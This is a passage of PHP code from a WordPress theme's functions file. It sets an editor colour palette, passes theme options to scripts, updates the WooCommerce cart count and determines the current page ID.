	if( function_exists( 'kc_add_icon' ) ) {	
		kc_add_icon( get_template_directory_uri() . '/assets/css/kc_custom.css' ); /*added to show custom icons/ images for kc sections */
	}
}

function visva_setup_theme_supported_features() {
    add_theme_support( 'editor-color-palette', array(
        array(
            'name' => esc_html__( 'strong magenta', 'visva' ),
            'slug' => 'strong-magenta',
            'color' => '#a156b4',
        ),
        array(
            'name' => esc_html__( 'light grayish magenta', 'visva' ),
            'slug' => 'light-grayish-magenta',
            'color' => '#d0a5db',
        ),
        array(
            'name' => esc_html__( 'very light gray', 'visva' ),
            'slug' => 'very-light-gray',
            'color' => '#eee',
        ),
        array(
            'name' => esc_html__( 'very dark gray', 'visva' ),
            'slug' => 'very-dark-gray',
            'color' => '#444',
        ),
    ) );
}

add_action( 'after_setup_theme', 'visva_setup_theme_supported_features' );

/*js Template Path */
function visva_set_js_var() {
   
   global $visva_option;
   
   
	$theme_options 				= visva_get_theme_option();
	
	$mobile_header_social_link_on = visva_set($visva_option,'mobile_header_social_link_on');
	
	$cart_on_mobile				= visva_set($theme_options,'cart_on_mobile');
	$mobile_header_login_on		= visva_set($theme_options,'mobile_header_login_on');
	$mobile_header_register_on	= visva_set($theme_options,'mobile_header_register_on');
	
	$cart_on_mobile					= ($cart_on_mobile)?'Yes':'No';
    $mobile_header_login_on			= ($mobile_header_login_on)?'Yes':'No';
    $mobile_header_register_on		= ($mobile_header_register_on)?'Yes':'No';
    $mobile_header_social_link_on	= ($mobile_header_social_link_on)?'Yes':'No';
   
	
	$js_data_array = array(	'template_directory_uri' => get_template_directory_uri(),
							'admin_ajax_url' => admin_url( 'admin-ajax.php' ),								
							'ajax_security_nonce' => wp_create_nonce("ajax_security_key"),
							'cart_on_mobile'=>$cart_on_mobile,	
							'login_on_mobile'=>$mobile_header_login_on,	
							'register_on_mobile'=>$mobile_header_register_on,	
							'header_social_link_on_mobile'=>$mobile_header_social_link_on,
						);
						
						
   wp_localize_script( 'jquery', 'visva_js_data', $js_data_array );
} 
add_action('wp_enqueue_scripts','visva_set_js_var');

function visva_load_admin_things() {
    wp_enqueue_script('media-upload');
    wp_enqueue_script('thickbox');
    wp_enqueue_style('thickbox');	
}
add_action( 'admin_enqueue_scripts', 'visva_load_admin_things' );


function visva_get_attachment( $attachment_id ) {
    $attachment = get_post( $attachment_id );
    return array(
        'alt' => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
        'caption' => $attachment->post_excerpt,
        'description' => $attachment->post_content,
        'href' => get_permalink( $attachment->ID ),
        'src' => $attachment->guid,
        'title' => $attachment->post_title
    );
}



function visva_website_status()
{
	global $visva_option;
	extract($visva_option);
	
	if($website_status == 'comingsoon_mode' && !is_user_logged_in()) {
		get_template_part('dz-inc/elements/comingsoon/comingsoon_1');
	}
	elseif($website_status == 'maintenance_mode' && !is_user_logged_in()) {
		get_template_part('dz-inc/elements/maintinance/maintinance_1');
	}
}

add_action('visva_website_status', 'visva_website_status');


/* Ensure cart contents update when products are added to the cart via AJAX (place the following in main functions.php) */
add_filter( 'woocommerce_add_to_cart_fragments', 'visva_header_add_to_cart_fragment' );
function visva_header_add_to_cart_fragment( $fragments ) 
{
	ob_start();
	?>
	<a class="site-button-link cart-btn" href="<?php echo esc_url(wc_get_cart_url()); ?>" title="<?php echo esc_attr__( 'View your shopping cart','visva'); ?>"><i class="fa fa-shopping-bag"></i><span class="badge bg-black cart-count"><?php echo sprintf (_n( '%d', '%d', WC()->cart->get_cart_contents_count(), 'visva' ), WC()->cart->get_cart_contents_count() ); ?></span></a> 
	<?php
	
	$fragments['a.cart-btn'] = ob_get_clean();
	
	return $fragments;
}

/* Remove Paragraph from contact form 7 plugin fields */
add_filter('wpcf7_autop_or_not', '__return_false');

/*
 * Return Current Page ID
 */
function visva_get_current_page_id() {
	$current_page = -1;
	
	if ( is_front_page() && is_home() ) {
		$page_for_posts = get_option( 'page_for_posts' );
		if( ! empty( $page_for_posts ) && $page_for_posts != -1 ) {
			$current_page = $page_for_posts;
		}
	} elseif ( is_front_page() ) {
		$page_id = get_option('page_on_front');
		if( ! empty( $page_id ) && $page_id != -1 ) {
			$current_page = $page_id;
		}
	} elseif ( is_home() ) {
		/* Blog page */
		$page_for_posts = get_option( 'page_for_posts' );
		if( ! empty( $page_for_posts ) && $page_for_posts != -1 ) {
			$current_page = $page_for_posts;
		}
	} elseif ( ( function_exists('is_projects_archive') && is_projects_archive() ) || ( function_exists('is_project_category') && is_project_category() ) ) {
		$projects_page_id = projects_get_page_id( 'projects' );
		if( ! empty( $projects_page_id ) && $projects_page_id != -1 ) {
			$current_page = projects_get_page_id( 'projects' );
		}
	} elseif( is_post_type_archive( 'team-member' ) ) {
		$team_member  = -1;
	} elseif( function_exists('is_shop') && is_shop() ) {
		$current_page = get_option( 'woocommerce_shop_page_id' );
	} elseif( function_exists('is_product_category') && is_product_category() ) {
		$current_page = get_option( 'woocommerce_shop_page_id' );
	} elseif( function_exists('is_product_tag') && is_product_tag() ) {
		$current_page = get_option( 'woocommerce_shop_page_id' );
	} elseif( function_exists( 'is_project' ) && is_project() ) {
		$current_page = get_the_ID();
	} elseif( is_404() ) {
		$current_page = -2;
	} elseif( is_page() ) {
		$current_page = get_the_ID();
	} elseif ( is_post_type_archive('post') ) {
		$page_for_posts = get_option( 'page_for_posts' );
		if( ! empty( $page_for_posts ) && $page_for_posts != -1 ) {
			$current_page = $page_for_posts;
		}
	}
	
	return $current_page;
}